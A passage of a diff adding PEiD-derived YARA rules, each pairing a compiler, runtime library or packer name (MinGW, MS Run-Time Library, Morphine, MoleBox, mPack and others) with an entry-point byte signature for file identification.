+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D}
+    condition:
+        $a
+}
+
+rule PEiD_01138_MinGW_GCC_2_x_
+{
+    meta:
+        description = "[MinGW GCC 2.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01139_MinGW_GCC_3_x_
+{
+    meta:
+        description = "[MinGW GCC 3.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? ?? E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? 55}
+    condition:
+        $a
+}
+
+rule PEiD_01140_MinGW_GCC_DLL_v2xx_
+{
+    meta:
+        description = "[MinGW GCC DLL v2xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01141_MinGW_GCC_v2_x_
+{
+    meta:
+        description = "[MinGW GCC v2.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 E8 ?? ?? ?? ?? C9 C3 ?? ?? 45 58 45}
+    condition:
+        $a
+}
+
+rule PEiD_01142_MinGW_v3_2_x___mainCRTStartup__
+{
+    meta:
+        description = "[MinGW v3.2.x (_mainCRTStartup)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 40 00 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01143_MinGW_v3_2_x__Dll_main__
+{
+    meta:
+        description = "[MinGW v3.2.x (Dll_main)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 00 00 EB EB 8D B4 26 00 00 00 00 85 C0 75 D0 E8 47 00 00 00 EB C9 90 8D 74 26 00 C7 04 24 80 00 00 00 E8 F4 05 00 00 A3 00 30 00 10 85 C0 74 1A C7 00 00 00 00 00 A3 10 30 00 10 E8 3B 02 00 00 E8 C6 01 00 00 E9 75 FF FF FF E8 BC 05 00 00 C7 00 0C 00 00 00 31 C0 EB 98 89 F6 55 89 E5 83 EC 08 89 5D FC 8B 15 00 30 00 10 85 D2 74 29 8B 1D 10 30 00 10 83 EB 04 39 D3 72 0D 8B 03 85 C0 75 2A 83 EB 04 39 D3 73 F3 89 14 24 E8 6B 05 00 00 31 C0 A3 00 30 00 10 C7 04 24 00 00 00 00 E8 48 05 00 00 8B 5D FC 89 EC 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_01144_MinGW_v3_2_x__Dll_mainCRTStartup__
+{
+    meta:
+        description = "[MinGW v3.2.x (Dll_mainCRTStartup)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 00 10 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01145_MinGW_v3_2_x__Dll_WinMain__
+{
+    meta:
+        description = "[MinGW v3.2.x (Dll_WinMain)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 00 00 EB EB 8D B4 26 00 00 00 00 85 C0 75 D0 E8 47 00 00 00 EB C9 90 8D 74 26 00 C7 04 24 80 00 00 00 E8 A4 05 00 00 A3 00 30 00 10 85 C0 74 1A C7 00 00 00 00 00 A3 10 30 00 10 E8 1B 02 00 00 E8 A6 01 00 00 E9 75 FF FF FF E8 6C 05 00 00 C7 00 0C 00 00 00 31 C0 EB 98 89 F6 55 89 E5 83 EC 08 89 5D FC 8B 15 00 30 00 10 85 D2 74 29 8B 1D 10 30 00 10 83 EB 04 39 D3 72 0D 8B 03 85 C0 75 2A 83 EB 04 39 D3 73 F3 89 14 24 E8 1B 05 00 00 31 C0 A3 00 30 00 10 C7 04 24 00 00 00 00 E8 F8 04 00 00 8B 5D FC 89 EC 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_01146_MinGW_v3_2_x__main__
+{
+    meta:
+        description = "[MinGW v3.2.x (main)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 F4 40 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 53 83 EC 24 C7 04 24 A0 11 40 00 E8 8D 07 00 00 83 EC 04 E8 85 02 00 00 C7 04 24 00 20 40 00 8B 15 10 20 40 00 8D 4D F8 C7 45 F8 00 00 00 00 89 4C 24 10 89 54 24 0C 8D 55 F4 89 54 24 08 C7 44 24 04 04 20 40 00 E8 02 07 00 00 A1 20 20 40 00 85 C0 74 76 A3 30 20 40 00 A1 F0 40 40 00 85 C0 74 1F 89 04 24 E8 C3 06 00 00 8B 1D 20 20 40 00 89 04 24 89 5C 24 04 E8 C1 06 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01147_MinGW_v3_2_x__WinMain__
+{
+    meta:
+        description = "[MinGW v3.2.x (WinMain)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 0C 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 53 83 EC 24 C7 04 24 A0 11 40 00 E8 5D 08 00 00 83 EC 04 E8 55 03 00 00 C7 04 24 00 20 40 00 8B 15 10 20 40 00 8D 4D F8 C7 45 F8 00 00 00 00 89 4C 24 10 89 54 24 0C 8D 55 F4 89 54 24 08 C7 44 24 04 04 20 40 00 E8 D2 07 00 00 A1 20 20 40 00 85 C0 74 76 A3 30 20 40 00 A1 08 41 40 00 85 C0 74 1F 89 04 24 E8 93 07 00 00 8B 1D 20 20 40 00 89 04 24 89 5C 24 04 E8 91 07 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01148_MingWin32___Dev_C___v4_9_9_1__h__
+{
+    meta:
+        description = "[MingWin32 - Dev C++ v4.9.9.1 (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 ?? ?? 00 00 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01149_MingWin32_v_____h__
+{
+    meta:
+        description = "[MingWin32 v?.? (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 E8 ?? FE FF FF 90 8D B4 26 00 00 00 00 55}
+    condition:
+        $a
+}
+
+rule PEiD_01150_Minke_1_0_1___by_Codius_
+{
+    meta:
+        description = "[Minke 1.0.1 - by Codius]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8}
+    condition:
+        $a
+}
+
+rule PEiD_01151_Minke_1_0_1___by_Codius_
+{
+    meta:
+        description = "[Minke 1.0.1 - by Codius]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8 E3 E4 FF FF E8 2A F9 FF FF E8 C1 F8 FF FF B8 6C 66 00 10 8B 16 E8 6D FA FF FF E8 14 F9 FF FF E8 AB F8 FF FF 8B 06 E8 B8 E3 FF FF 8B D8 B8 6C 66 00 10 E8 38 F2 FF FF 8B D3 8B 0E E8 A7 E4 FF ?? ?? ?? ?? C4 FB FF FF E8 E7 F8 FF FF 8B C3 E8 B0 E3 FF FF E8 DB F8 FF FF 33 C0 5A 59 59 64 89 10 68 E2 40 00 10 C3 E9 50 EB FF FF EB F8 5E 5B E8 BB EF FF FF 00 00 00 43 41 31 38}
+    condition:
+        $a
+}
+
+rule PEiD_01152_Minke_V1_0_1____Codius___Sign_by_fly_
+{
+    meta:
+        description = "[Minke V1.0.1 -> Codius ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {26 3D 4F 38 C2 82 37 B8 F3 24 42 03 17 9B 3A 83 01 00 00 CC 00 00 00 00 06 00 00 00 01 64 53 74 75 62 00 10 55 54 79 70 65 73 00 00 C7 53 79 73 74 65 6D 00 00 81 53 79 73 49 6E 69 74 00 0C 4B 57 69 6E 64 6F 77 73 00 00 8A 75 46 75 6E 63 74 69 6F 6E 73}
+    condition:
+        $a
+}
+rule PEiD_01153_mkfpack____llydd_
+{
+    meta:
+        description = "[mkfpack -> llydd]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5B 81 EB 05 00 00 00 8B 93 9F 08 00 00 53 6A 40 68 00 10 00 00 52 6A 00 FF 93 32 08 00 00 5B 8B F0 8B BB 9B 08 00 00 03 FB 56 57 E8 86 08 00 00 83 C4 08 8D 93 BB 08 00 00 52 53 FF E6}
+    condition:
+        $a
+}
+
+rule PEiD_01154_modified_HACKSTOP_v1_11f_
+{
+    meta:
+        description = "[modified HACKSTOP v1.11f]"
+        ep_only = "true"
+    strings:
+        $a = {52 B4 30 CD 21 52 FA ?? FB 3D ?? ?? EB ?? CD 20 0E 1F B4 09 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01155_MoleBox_v2_3_0____Teggo_
+{
+    meta:
+        description = "[MoleBox v2.3.0 -> Teggo]"
+        ep_only = "false"
+    strings:
+        $a = {42 04 E8 ?? ?? 00 00 A3 ?? ?? ?? 00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 ?? 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC CC CC CC CC CC CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 20 61 58 FF D0 E8 ?? ?? 00 00 CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_01156_MoleBox_v2_5_4____Teggo_
+{
+    meta:
+        description = "[MoleBox v2.5.4 -> Teggo]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? 00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 8B 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 24 61 58 58 FF D0 E8 ?? ?? 00 00 6A 00 FF 15 ?? ?? ?? 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_01157_MoleBox_V2_X____MoleStudio_com_
+{
+    meta:
+        description = "[MoleBox V2.X -> MoleStudio.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 E8 4F 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01158_Morphine_2_7____Holy_Father___Ratter_29A__h__
+{
+    meta:
+        description = "[Morphine 2.7 -> Holy_Father & Ratter/29A (h)]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+    condition:
+        $a
+}
+
+rule PEiD_01159_Morphine_2_7____Holy_Father___Ratter_29A_
+{
+    meta:
+        description = "[Morphine 2.7 -> Holy_Father & Ratter/29A]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01160_Morphine_3_3____Holy_Father___Ratter_29A_
+{
+    meta:
+        description = "[Morphine 3.3 -> Holy_Father & Ratter/29A]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+    condition:
+        $a
+}
+
+rule PEiD_01161_Morphine_3_3____Silent_Software___Silent_Shield__c_2005__h__
+{
+    meta:
+        description = "[Morphine 3.3 -> Silent Software & Silent Shield (c)2005 (h)]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63}
+    condition:
+        $a
+}
+rule PEiD_01162_Morphine_v1_2___v1_3_
+{
+    meta:
+        description = "[Morphine v1.2 - v1.3]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 34 ?? 5A 00 8B C0 FF 25 38 ?? 5A 00 8B C0}
+    condition:
+        $a
+}
+
+rule PEiD_01163_Morphine_v2_7____Holy_Father___Ratter_29A__h__
+{
+    meta:
+        description = "[Morphine v2.7 -> Holy_Father & Ratter/29A (h)]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01164_Morphine_v2_7____Holy_Father___Ratter_29A_
+{
+    meta:
+        description = "[Morphine v2.7 -> Holy_Father & Ratter/29A]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01165_Morphine_V3_3____Holy_Father___Ratter_29A_
+{
+    meta:
+        description = "[Morphine V3.3 -> Holy_Father & Ratter/29A]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a
+}
+
+rule PEiD_01166_Morphine_v3_3____Silent_Software___Silent_Shield__c_2005__h__
+{
+    meta:
+        description = "[Morphine v3.3 -> Silent Software & Silent Shield (c)2005 (h)]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a
+}
+
+rule PEiD_01167_Morphnah_Beta____Kas_
+{
+    meta:
+        description = "[Morphnah Beta -> Kas]"
+        ep_only = "true"
+    strings:
+        $a = {2E 6E 61 68 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 A0 00 00 E0}
+    condition:
+        $a
+}
+
+rule PEiD_01168_mPack_0_0_3____DeltaAziz_
+{
+    meta:
+        description = "[mPack 0.0.3 -> DeltaAziz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01169_mPack_0_0_3____DeltaAziz_
+{
+    meta:
+        description = "[mPack 0.0.3 -> DeltaAziz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF 75 0A E8 88 B2 FF FF E9 1B 01 00 00 C7 05 14 A5 00 10 32 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 C9 C9 FF FF BA 14 A5 00 10 A1 08 A5 00 10 B9 04 00 00 00 E8 C5 C9 FF FF 83 3D 14 A5 00 10 32 77 0A E8 47 B2 FF FF E9 DA 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 92 C9 FF FF BA 18 A5}
+    condition:
+        $a
+}
+
+rule PEiD_01170_mPACK_v0_0_2____DeltaAziz__h__
+{
+    meta:
+        description = "[mPACK v0.0.2 -> DeltaAziz (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 E8 AA 00 00 00 4E ?? ?? 00 00 00 00 00 00 00 00 00 5E ?? ?? 00 4E ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? ?? 0C ?? ?? ?? CC E4 ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 5D 68 00 FE 9F 07 53 E8 5D 00 00 00 EB FF 71 E8 C2 50 00 EB D6 5E F3 68 89 74 24 48 74 24 58 FF 8D 74 24 58 5E 83 C6 4C 75 F4 59 8D 71 E8 75 09 81 F6 EB FF 51 B9 01 00 83 EE FC 49 FF 71 C7 75 19 8B 74 24 00 00 81 36 50 56 8B 36 EB FF 77 C4 36 81 F6 EB 87 34 24 8B 8B 1C 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 5B EB FF F3 EB FF C3 83 EB FD}
+    condition:
+        $a
+}
+
+rule PEiD_01171_mPack_V0_03____DeltaAziz_
+{
+    meta:
+        description = "[mPack V0.03 -> DeltaAziz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 ?? ?? 33 C0 89 45 F0 B8 ?? ?? ?? ?? E8 67 C4 FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? E8 FA C9 FF FF 83 F8 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01172_MPEG_movie_file_
+{
+    meta:
+        description = "[MPEG movie file]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 01 BA 2F FF FD E6 C1 80 18 61 00 00 01 BB}
+    condition:
+        $a
+}
+
+rule PEiD_01173_MS_FORTRAN_Library_19___
+{
+    meta:
+        description = "[MS FORTRAN Library 19??]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? 9A ?? ?? ?? ?? 9B DB E3 9B D9 2E ?? ?? 33 C9}
+    condition:
+        $a
+}
+
+rule PEiD_01174_MS_FORTRAN_Library_19___
+{
+    meta:
+        description = "[MS FORTRAN Library 19??]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC B8 ?? ?? 8E C0 26 C7 ?? ?? ?? ?? ?? 26}
+    condition:
+        $a
+}
+
+rule PEiD_01175_MS_Run_Time_Library__OS_2____FORTRAN_Compiler_1989_
+{
+    meta:
+        description = "[MS Run-Time Library (OS/2) & FORTRAN Compiler 1989]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 2E A3 ?? ?? 3D ?? ?? 73}
+    condition:
+        $a
+}
+
+rule PEiD_01176_MS_Run_Time_Library_1987_
+{
+    meta:
+        description = "[MS Run-Time Library 1987]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? 9A ?? ?? ?? ?? B8 ?? ?? 50 9A ?? ?? ?? ?? 92}
+    condition:
+        $a
+}
+
+rule PEiD_01177_MS_Run_Time_Library_1988__04__
+{
+    meta:
+        description = "[MS Run-Time Library 1988 (04)]"
+        ep_only = "true"
+    strings:
+        $a = {1E B8 ?? ?? 8E D8 B4 30 CD 21 3C 02 73 ?? BA ?? ?? E8 ?? ?? 06 33 C0 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_01178_MS_Run_Time_Library_1990__07__
+{
+    meta:
+        description = "[MS Run-Time Library 1990 (07)]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F 8B 1E ?? ?? 0B DB 74 ?? 8C D1 8B D4 FA 8E D3 BC ?? ?? FB}
+    condition:
+        $a
+}
+
+rule PEiD_01179_MS_Run_Time_Library_1990__10__
+{
+    meta:
+        description = "[MS Run-Time Library 1990 (10)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 2E FF 2E ?? ?? BB ?? ?? E8 ?? ?? CB}
+    condition:
+        $a
+}
+rule PEiD_01180_MS_Run_Time_Library_1990__1992__09__
+{
+    meta:
+        description = "[MS Run-Time Library 1990, 1992 (09)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? C3 8C DF 8B 36 ?? ?? 2E}
+    condition:
+        $a
+}
+
+rule PEiD_01181_MS_Run_Time_Library_1992__11__
+{
+    meta:
+        description = "[MS Run-Time Library 1992 (11)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 51 CD 21 8E DB B8 ?? ?? 83 E8 ?? 8E C0 33 F6 33 FF B9 ?? ?? FC F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_01182_MS_Run_Time_Library_1992__13__
+{
+    meta:
+        description = "[MS Run-Time Library 1992 (13)]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB 33 DB B8 ?? ?? CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_01183_MS_Run_Time_Library_1992__14__
+{
+    meta:
+        description = "[MS Run-Time Library 1992 (14)]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C8 8E D8 8C C0 A3 ?? ?? 83 C0 ?? A3 ?? ?? B4 30}
+    condition:
+        $a
+}
+
+rule PEiD_01184_MS_Visual_C___v_8__h_good_sig__but_is_it_MSVC___
+{
+    meta:
+        description = "[MS Visual C++ v.8 (h-good sig, but is it MSVC?)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E9 8D FE FF FF CC CC CC CC CC 66 81 3D 00 00 00 01 4D 5A 74 04 33 C0 EB 51 A1 3C 00 00 01 81 B8 00 00 00 01 50 45 00 00 75 EB 0F B7 88 18 00 00 01 81 F9 0B 01 00 00 74 1B 81 F9 0B 02 00 00 75 D4 83 B8 84 00 00 01 0E 76 CB 33 C9 39 88 F8 00}
+    condition:
+        $a
+}
+
+rule PEiD_01185_MS_Visual_C___v_8__h_good_sig__but_is_it_MSVC___
+{
+    meta:
+        description = "[MS Visual C++ v.8 (h-good sig, but is it MSVC?)]"
+        ep_only = "true"
+    strings:
